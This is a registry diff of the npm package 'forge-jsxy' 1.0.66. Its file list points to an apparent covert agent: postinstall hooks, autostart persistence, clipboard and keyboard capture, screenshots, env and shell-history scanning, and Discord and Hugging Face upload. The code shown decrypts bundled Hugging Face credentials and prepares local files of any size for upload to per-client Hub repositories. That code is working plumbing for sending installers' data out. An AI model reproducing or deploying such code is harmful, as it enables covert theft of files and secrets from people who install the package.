forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
export interface HfCredentials {
|
|
2
|
+
token: string;
|
|
3
|
+
hubUrl: string;
|
|
4
|
+
/** Hub namespace (username or org) for automatic `namespace/client_<db>` repositories. */
|
|
5
|
+
namespace?: string;
|
|
6
|
+
}
|
|
7
|
+
/** Clear relay-delivered HF fields in memory after an upload (JS cannot overwrite string contents). */
|
|
8
|
+
export declare function scrubHfCredentialsInPlace(c: HfCredentials): void;
|
|
9
|
+
/** Decrypt the same AES-GCM blob used for `CFGMGR_HF_CREDENTIALS_B64` / `RELAY_HF_CREDENTIALS_B64`. */
|
|
10
|
+
export declare function decryptHfCredentialsB64(b64: string): HfCredentials;
|
|
11
|
+
/**
|
|
12
|
+
* Load Hub token + API base URL. Encrypted env is preferred; plaintext only when allowed.
|
|
13
|
+
*/
|
|
14
|
+
export declare function loadHfCredentials(): HfCredentials;
|
|
15
|
+
/**
|
|
16
|
+
* Produce `CFGMGR_HF_CREDENTIALS_B64` using the same key as deployment defaults.
|
|
17
|
+
* Used by `scripts/encode-hf-credentials.mjs` and tests.
|
|
18
|
+
*/
|
|
19
|
+
export declare function encryptHfCredentialsJson(payload: {
|
|
20
|
+
token: string;
|
|
21
|
+
hubUrl?: string;
|
|
22
|
+
namespace?: string;
|
|
23
|
+
}): string;
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.scrubHfCredentialsInPlace = scrubHfCredentialsInPlace;
|
|
4
|
+
exports.decryptHfCredentialsB64 = decryptHfCredentialsB64;
|
|
5
|
+
exports.loadHfCredentials = loadHfCredentials;
|
|
6
|
+
exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
|
|
7
|
+
/**
|
|
8
|
+
* Hugging Face Hub credentials at rest: AES-256-GCM blob encrypted with
|
|
9
|
+
* `resolveForgeBundleKey()` (same key material as relay/API deployment defaults).
|
|
10
|
+
*
|
|
11
|
+
* **Relay-hosted credentials (recommended):** set `RELAY_HF_CREDENTIALS_B64` on the **relay** process
|
|
12
|
+
* (same blob format). Agents **request credentials over the WebSocket before each Hub upload** by
|
|
13
|
+
* default (`CFGMGR_HF_FETCH_FROM_RELAY` defaults to on; set `=0` to use only local credentials).
|
|
14
|
+
* Nothing is written to disk on the agent for that path. Use **`wss://`** in production so tokens
|
|
15
|
+
* are not sent in clear text. After each Hub upload that used relay-fetched credentials, call
|
|
16
|
+
* `scrubHfCredentialsInPlace` on that object so the token field is cleared
|
|
17
|
+
* (JavaScript cannot truly wipe string contents in memory).
|
|
18
|
+
*
|
|
19
|
+
* Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
|
|
20
|
+
* plaintext UTF-8 JSON is:
|
|
21
|
+
* `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
|
|
22
|
+
* (`hubUrl` optional; `namespace` = Hugging Face username or org for `namespace/client_*` auto repos).
|
|
23
|
+
*
|
|
24
|
+
* Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
|
|
25
|
+
* `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
|
|
26
|
+
*
|
|
27
|
+
* Upload tuning (agent): `CFGMGR_HF_INTER_FILE_DELAY_MS`, `CFGMGR_HF_TREE_BATCH`,
|
|
28
|
+
* `CFGMGR_HF_MIN_FETCH_INTERVAL_MS`, `CFGMGR_HF_USE_XET` (written `0` in agent env; uploads do not use Hub Xet),
|
|
29
|
+
* `CFGMGR_HF_SKIP_OPENAS_BLOB` (default `1` — avoid `fs.openAsBlob` Hub payload path),
|
|
30
|
+
* `CFGMGR_HF_FETCH_RETRIES` / `CFGMGR_HF_FETCH_RETRY_MS`, `CFGMGR_HF_UPLOAD_RETRIES` / `CFGMGR_HF_UPLOAD_RETRY_MS`,
|
|
31
|
+
* `CFGMGR_HF_VERBOSE_ERRORS=1` — see `hfUpload.ts`.
|
|
32
|
+
*/
|
|
33
|
+
const node_crypto_1 = require("node:crypto");
|
|
34
|
+
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
35
|
+
/** Clear relay-delivered HF fields in memory after an upload (JS cannot overwrite string contents). */
|
|
36
|
+
function scrubHfCredentialsInPlace(c) {
|
|
37
|
+
c.token = "";
|
|
38
|
+
c.hubUrl = "";
|
|
39
|
+
delete c.namespace;
|
|
40
|
+
}
|
|
41
|
+
/** Decrypt the same AES-GCM blob used for `CFGMGR_HF_CREDENTIALS_B64` / `RELAY_HF_CREDENTIALS_B64`. */
|
|
42
|
+
function decryptHfCredentialsB64(b64) {
|
|
43
|
+
return decryptCredentialsBlob(b64);
|
|
44
|
+
}
|
|
45
|
+
function decryptCredentialsBlob(b64) {
|
|
46
|
+
const raw = Buffer.from(String(b64 || "").trim(), "base64");
|
|
47
|
+
if (raw.length < 12 + 16 + 1) {
|
|
48
|
+
throw new Error("CFGMGR_HF_CREDENTIALS_B64 too short or invalid base64");
|
|
49
|
+
}
|
|
50
|
+
const iv = raw.subarray(0, 12);
|
|
51
|
+
const tag = raw.subarray(12, 28);
|
|
52
|
+
const enc = raw.subarray(28);
|
|
53
|
+
const key = (0, deploymentDefaults_1.resolveForgeBundleKey)();
|
|
54
|
+
const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
|
|
55
|
+
decipher.setAuthTag(tag);
|
|
56
|
+
const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
|
|
57
|
+
const o = JSON.parse(plain.toString("utf8"));
|
|
58
|
+
const token = String(o.token ?? "").trim();
|
|
59
|
+
let hubUrl = String(o.hubUrl ?? o.endpoint ?? "").trim();
|
|
60
|
+
if (!hubUrl)
|
|
61
|
+
hubUrl = "https://huggingface.co";
|
|
62
|
+
hubUrl = hubUrl.replace(/\/+$/, "");
|
|
63
|
+
if (!token || !token.startsWith("hf_")) {
|
|
64
|
+
throw new Error('decrypted JSON must include a valid "token" (hf_...)');
|
|
65
|
+
}
|
|
66
|
+
const namespaceRaw = String(o.namespace ?? o.user ?? "").trim();
|
|
67
|
+
const namespace = namespaceRaw ? namespaceRaw.replace(/\/+$/, "") : undefined;
|
|
68
|
+
return { token, hubUrl, namespace };
|
|
69
|
+
}
|
|
70
|
+
function plaintextCredentialsFromEnv() {
|
|
71
|
+
const allow = (process.env.CFGMGR_HF_ALLOW_PLAINTEXT || "").trim() === "1";
|
|
72
|
+
if (!allow)
|
|
73
|
+
return null;
|
|
74
|
+
const token = (process.env.HUGGINGFACE_HUB_TOKEN || "").trim();
|
|
75
|
+
if (!token)
|
|
76
|
+
return null;
|
|
77
|
+
let hubUrl = (process.env.HUGGINGFACE_HUB_URL || "").trim();
|
|
78
|
+
if (!hubUrl)
|
|
79
|
+
hubUrl = "https://huggingface.co";
|
|
80
|
+
hubUrl = hubUrl.replace(/\/+$/, "");
|
|
81
|
+
const ns = (process.env.HUGGINGFACE_HUB_NAMESPACE || process.env.CFGMGR_HF_NAMESPACE || "").trim();
|
|
82
|
+
return { token, hubUrl, namespace: ns || undefined };
|
|
83
|
+
}
|
|
84
|
+
/**
|
|
85
|
+
* Load Hub token + API base URL. Encrypted env is preferred; plaintext only when allowed.
|
|
86
|
+
*/
|
|
87
|
+
function loadHfCredentials() {
|
|
88
|
+
let c;
|
|
89
|
+
const plain = plaintextCredentialsFromEnv();
|
|
90
|
+
if (plain)
|
|
91
|
+
c = plain;
|
|
92
|
+
else {
|
|
93
|
+
const b64 = (process.env.CFGMGR_HF_CREDENTIALS_B64 || "").trim();
|
|
94
|
+
if (!b64) {
|
|
95
|
+
throw new Error("Missing Hugging Face credentials: set RELAY_HF_CREDENTIALS_B64 on the **relay** (agent " +
|
|
96
|
+
"fetches by default), or CFGMGR_HF_CREDENTIALS_B64 on the agent, or CFGMGR_HF_ALLOW_PLAINTEXT=1 " +
|
|
97
|
+
"with HUGGINGFACE_HUB_TOKEN for local testing");
|
|
98
|
+
}
|
|
99
|
+
c = decryptCredentialsBlob(b64);
|
|
100
|
+
}
|
|
101
|
+
const envNs = (process.env.CFGMGR_HF_NAMESPACE || "").trim();
|
|
102
|
+
if (envNs)
|
|
103
|
+
return { ...c, namespace: envNs };
|
|
104
|
+
return c;
|
|
105
|
+
}
|
|
106
|
+
/**
|
|
107
|
+
* Produce `CFGMGR_HF_CREDENTIALS_B64` using the same key as deployment defaults.
|
|
108
|
+
* Used by `scripts/encode-hf-credentials.mjs` and tests.
|
|
109
|
+
*/
|
|
110
|
+
function encryptHfCredentialsJson(payload) {
|
|
111
|
+
const key = (0, deploymentDefaults_1.resolveForgeBundleKey)();
|
|
112
|
+
const iv = (0, node_crypto_1.randomBytes)(12);
|
|
113
|
+
const cipher = (0, node_crypto_1.createCipheriv)("aes-256-gcm", key, iv);
|
|
114
|
+
const body = JSON.stringify({
|
|
115
|
+
token: String(payload.token || "").trim(),
|
|
116
|
+
hubUrl: (payload.hubUrl || "https://huggingface.co").replace(/\/+$/, ""),
|
|
117
|
+
...(payload.namespace
|
|
118
|
+
? { namespace: String(payload.namespace).trim().replace(/\/+$/, "") }
|
|
119
|
+
: {}),
|
|
120
|
+
});
|
|
121
|
+
const enc = Buffer.concat([cipher.update(body, "utf8"), cipher.final()]);
|
|
122
|
+
const tag = cipher.getAuthTag();
|
|
123
|
+
return Buffer.concat([iv, tag, enc]).toString("base64");
|
|
124
|
+
}
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
/** Join POSIX segments after sanitizing each part; empty input yields "". */
|
|
2
|
+
export declare function sanitizeHubRelativePath(rel: string): string;
|
|
3
|
+
/** Safe single path component for zip base names (no slashes). */
|
|
4
|
+
export declare function sanitizeHubFilename(name: string): string;
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.sanitizeHubRelativePath = sanitizeHubRelativePath;
|
|
4
|
+
exports.sanitizeHubFilename = sanitizeHubFilename;
|
|
5
|
+
/**
|
|
6
|
+
* Sanitize relative paths for Hub commits (git-like tree). Prevents `..` / `.` segments and NUL /
|
|
7
|
+
* control characters from producing invalid or unsafe `path_in_repo` values.
|
|
8
|
+
*/
|
|
9
|
+
const CTRL = /[\u0000-\u001f\u007f]/g;
|
|
10
|
+
function sanitizeOneSegment(seg) {
|
|
11
|
+
let s = String(seg).replace(/\\/g, "/").replace(CTRL, "_");
|
|
12
|
+
if (s === "." || s === "..") {
|
|
13
|
+
return s === "." ? "_" : "__";
|
|
14
|
+
}
|
|
15
|
+
return s;
|
|
16
|
+
}
|
|
17
|
+
/** Join POSIX segments after sanitizing each part; empty input yields "". */
|
|
18
|
+
function sanitizeHubRelativePath(rel) {
|
|
19
|
+
return String(rel || "")
|
|
20
|
+
.replace(/\\/g, "/")
|
|
21
|
+
.split("/")
|
|
22
|
+
.map(sanitizeOneSegment)
|
|
23
|
+
.filter((s) => s.length > 0)
|
|
24
|
+
.join("/");
|
|
25
|
+
}
|
|
26
|
+
/** Safe single path component for zip base names (no slashes). */
|
|
27
|
+
function sanitizeHubFilename(name) {
|
|
28
|
+
const base = String(name || "export").split(/[/\\]/).pop() || "export";
|
|
29
|
+
return sanitizeOneSegment(base).replace(/\//g, "_") || "export";
|
|
30
|
+
}
|
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.hubContentFromLocalPath = hubContentFromLocalPath;
|
|
37
|
+
/**
|
|
38
|
+
* Build `content` for `@huggingface/hub` `uploadFile` / `uploadFiles`.
|
|
39
|
+
*
|
|
40
|
+
* **Small files:** `readFile`, optional `openAsBlob`, or streamed read into one `Blob` (no `file:` URL).
|
|
41
|
+
*
|
|
42
|
+
* **Large files:** when disk streaming is enabled, returns a `file:` `URL` (Hub `FileBlob`) if the file is
|
|
43
|
+
* strictly larger than `CFGMGR_HF_FILEURL_OVER_BYTES` **or** strictly larger than **256 MiB** — so a mis-set
|
|
44
|
+
* huge threshold cannot force multi‑gigabyte `readFile` / `Buffer.concat` OOMs.
|
|
45
|
+
*
|
|
46
|
+
* Set `CFGMGR_HF_FILEURL_OVER_BYTES=off` (or `legacy` / `never`) to disable streaming (in-memory only).
|
|
47
|
+
* Files larger than `CFGMGR_HF_LEGACY_MAX_BYTES` (default **4 GiB**) then fail fast unless you raise
|
|
48
|
+
* that cap and have enough RAM.
|
|
49
|
+
*
|
|
50
|
+
* Tune `CFGMGR_HF_READFILE_BLOB_MAX_BYTES` / `CFGMGR_HF_SKIP_OPENAS_BLOB` for the in-memory branch only.
|
|
51
|
+
*/
|
|
52
|
+
const node_fs_1 = require("node:fs");
|
|
53
|
+
const fs = __importStar(require("node:fs"));
|
|
54
|
+
const promises_1 = require("node:fs/promises");
|
|
55
|
+
const node_url_1 = require("node:url");
|
|
56
|
+
const MIN_READFILE_BYTES = 1024 * 1024;
|
|
57
|
+
/** Default 20 GiB — upper bound for in-memory paths when file-URL mode is off or file is smaller than threshold. */
|
|
58
|
+
const DEFAULT_READFILE_BLOB_MAX = 20 * 1024 * 1024 * 1024;
|
|
59
|
+
/** Upper bound for `CFGMGR_HF_READFILE_BLOB_MAX_BYTES` (parse guard). */
|
|
60
|
+
const ENV_READFILE_CAP_BYTES = 48 * 1024 * 1024 * 1024;
|
|
61
|
+
/** Files strictly larger than this use `file:` + Hub `FileBlob` (streaming). */
|
|
62
|
+
const DEFAULT_FILEURL_OVER_BYTES = 256 * 1024 * 1024;
|
|
63
|
+
/** With streaming off, max single-file size for in-memory paths (before readFile). */
|
|
64
|
+
const DEFAULT_LEGACY_MAX_BYTES = 4 * 1024 * 1024 * 1024;
|
|
65
|
+
/**
|
|
66
|
+
* Node `fs.openAsBlob` + `@huggingface/hub` can throw `TypeError` on some OS/Node combos.
|
|
67
|
+
* Default **skip** (`1`): use `readFile` / stream only (`npm install` reliable path).
|
|
68
|
+
* Set `CFGMGR_HF_SKIP_OPENAS_BLOB=0` to allow `openAsBlob` for lower memory use on huge files (below threshold only).
|
|
69
|
+
*/
|
|
70
|
+
function hubSkipOpenAsBlob() {
|
|
71
|
+
const raw = (process.env.CFGMGR_HF_SKIP_OPENAS_BLOB || "1").trim().toLowerCase();
|
|
72
|
+
if (["0", "false", "no", "off"].includes(raw))
|
|
73
|
+
return false;
|
|
74
|
+
return true;
|
|
75
|
+
}
|
|
76
|
+
function readFileBlobMaxBytes() {
|
|
77
|
+
const raw = (process.env.CFGMGR_HF_READFILE_BLOB_MAX_BYTES || "").trim();
|
|
78
|
+
if (raw === "0" || raw === "false" || raw === "off")
|
|
79
|
+
return 0;
|
|
80
|
+
if (raw) {
|
|
81
|
+
const n = parseInt(raw, 10);
|
|
82
|
+
if (Number.isFinite(n) && n >= MIN_READFILE_BYTES && n <= ENV_READFILE_CAP_BYTES)
|
|
83
|
+
return n;
|
|
84
|
+
}
|
|
85
|
+
return DEFAULT_READFILE_BLOB_MAX;
|
|
86
|
+
}
|
|
87
|
+
/** Stream + `openAsBlob` ceiling (when `readFile` is skipped via env `0`, still use default 20 GiB). */
|
|
88
|
+
function inMemoryStreamOpenMaxBytes() {
|
|
89
|
+
const raw = (process.env.CFGMGR_HF_READFILE_BLOB_MAX_BYTES || "").trim();
|
|
90
|
+
if (raw === "0" || raw === "false" || raw === "off")
|
|
91
|
+
return DEFAULT_READFILE_BLOB_MAX;
|
|
92
|
+
if (raw) {
|
|
93
|
+
const n = parseInt(raw, 10);
|
|
94
|
+
if (Number.isFinite(n) && n >= MIN_READFILE_BYTES && n <= ENV_READFILE_CAP_BYTES)
|
|
95
|
+
return n;
|
|
96
|
+
}
|
|
97
|
+
return DEFAULT_READFILE_BLOB_MAX;
|
|
98
|
+
}
|
|
99
|
+
/**
|
|
100
|
+
* Files larger than this use `pathToFileURL` (Hub `FileBlob`, streaming).
|
|
101
|
+
* `off` / `legacy` / `never` → never use file URLs (force in-memory only).
|
|
102
|
+
*/
|
|
103
|
+
function fileUrlOverBytes() {
|
|
104
|
+
const raw = (process.env.CFGMGR_HF_FILEURL_OVER_BYTES || "").trim().toLowerCase();
|
|
105
|
+
if (["off", "false", "no", "legacy", "never"].includes(raw)) {
|
|
106
|
+
return Number.MAX_SAFE_INTEGER;
|
|
107
|
+
}
|
|
108
|
+
if (raw) {
|
|
109
|
+
const n = parseInt(raw, 10);
|
|
110
|
+
if (Number.isFinite(n) && n >= 0 && n <= ENV_READFILE_CAP_BYTES)
|
|
111
|
+
return n;
|
|
112
|
+
}
|
|
113
|
+
return DEFAULT_FILEURL_OVER_BYTES;
|
|
114
|
+
}
|
|
115
|
+
/**
|
|
116
|
+
* When streaming is disabled (`CFGMGR_HF_FILEURL_OVER_BYTES=off`), max file size allowed for readFile /
|
|
117
|
+
* readStreamToBlob. Only a decimal byte integer is honored; any other value falls back to the default
|
|
118
|
+
* (never treat unknown tokens as “unlimited” — that used to allow multi‑GiB OOMs).
|
|
119
|
+
*/
|
|
120
|
+
function legacyInMemoryMaxBytes() {
|
|
121
|
+
const raw = (process.env.CFGMGR_HF_LEGACY_MAX_BYTES || "").trim();
|
|
122
|
+
if (!raw)
|
|
123
|
+
return DEFAULT_LEGACY_MAX_BYTES;
|
|
124
|
+
const n = parseInt(raw, 10);
|
|
125
|
+
if (Number.isFinite(n) && n >= MIN_READFILE_BYTES && n <= ENV_READFILE_CAP_BYTES)
|
|
126
|
+
return n;
|
|
127
|
+
return DEFAULT_LEGACY_MAX_BYTES;
|
|
128
|
+
}
|
|
129
|
+
async function readStreamToBlob(absPath) {
|
|
130
|
+
const chunks = [];
|
|
131
|
+
await new Promise((resolve, reject) => {
|
|
132
|
+
const rs = (0, node_fs_1.createReadStream)(absPath, { highWaterMark: 16 * 1024 * 1024 });
|
|
133
|
+
rs.on("data", (c) => {
|
|
134
|
+
chunks.push(Buffer.isBuffer(c) ? c : Buffer.from(c));
|
|
135
|
+
});
|
|
136
|
+
rs.on("error", reject);
|
|
137
|
+
rs.on("end", () => resolve());
|
|
138
|
+
});
|
|
139
|
+
return new Blob([Buffer.concat(chunks)]);
|
|
140
|
+
}
|
|
141
|
+
async function hubContentFromLocalPath(absolutePath) {
|
|
142
|
+
const st = await (0, promises_1.stat)(absolutePath);
|
|
143
|
+
if (!st.isFile()) {
|
|
144
|
+
throw new Error(`Hub upload requires a regular file (${absolutePath})`);
|
|
145
|
+
}
|
|
146
|
+
const fileUrlMin = fileUrlOverBytes();
|
|
147
|
+
/** Hard safety floor: never fully buffer in JS above this when streaming is on (same as default threshold). */
|
|
148
|
+
const streamDiskFloorBytes = DEFAULT_FILEURL_OVER_BYTES;
|
|
149
|
+
if (fileUrlMin < Number.MAX_SAFE_INTEGER) {
|
|
150
|
+
if (st.size > fileUrlMin || st.size > streamDiskFloorBytes) {
|
|
151
|
+
return (0, node_url_1.pathToFileURL)(absolutePath);
|
|
152
|
+
}
|
|
153
|
+
}
|
|
154
|
+
if (fileUrlMin >= Number.MAX_SAFE_INTEGER && st.size > legacyInMemoryMaxBytes()) {
|
|
155
|
+
throw new Error(`Hub upload: file is ${st.size} bytes but streaming is disabled (CFGMGR_HF_FILEURL_OVER_BYTES=off). ` +
|
|
156
|
+
"Unset that variable or set it to a byte threshold below this file size so uploads use disk streaming. " +
|
|
157
|
+
"If you must use legacy in-memory mode for a larger file, set CFGMGR_HF_LEGACY_MAX_BYTES (and ensure enough RAM).");
|
|
158
|
+
}
|
|
159
|
+
const readMax = readFileBlobMaxBytes();
|
|
160
|
+
if (readMax > 0 && st.size <= readMax) {
|
|
161
|
+
try {
|
|
162
|
+
const buf = await (0, promises_1.readFile)(absolutePath);
|
|
163
|
+
return new Blob([buf]);
|
|
164
|
+
}
|
|
165
|
+
catch {
|
|
166
|
+
/* fall through */
|
|
167
|
+
}
|
|
168
|
+
}
|
|
169
|
+
const streamMax = inMemoryStreamOpenMaxBytes();
|
|
170
|
+
if (!hubSkipOpenAsBlob()) {
|
|
171
|
+
const openAsBlob = fs.openAsBlob;
|
|
172
|
+
if (typeof openAsBlob === "function") {
|
|
173
|
+
try {
|
|
174
|
+
if (st.size <= streamMax) {
|
|
175
|
+
const blob = await openAsBlob(absolutePath);
|
|
176
|
+
if (blob instanceof Blob) {
|
|
177
|
+
return blob;
|
|
178
|
+
}
|
|
179
|
+
}
|
|
180
|
+
}
|
|
181
|
+
catch {
|
|
182
|
+
/* fall through */
|
|
183
|
+
}
|
|
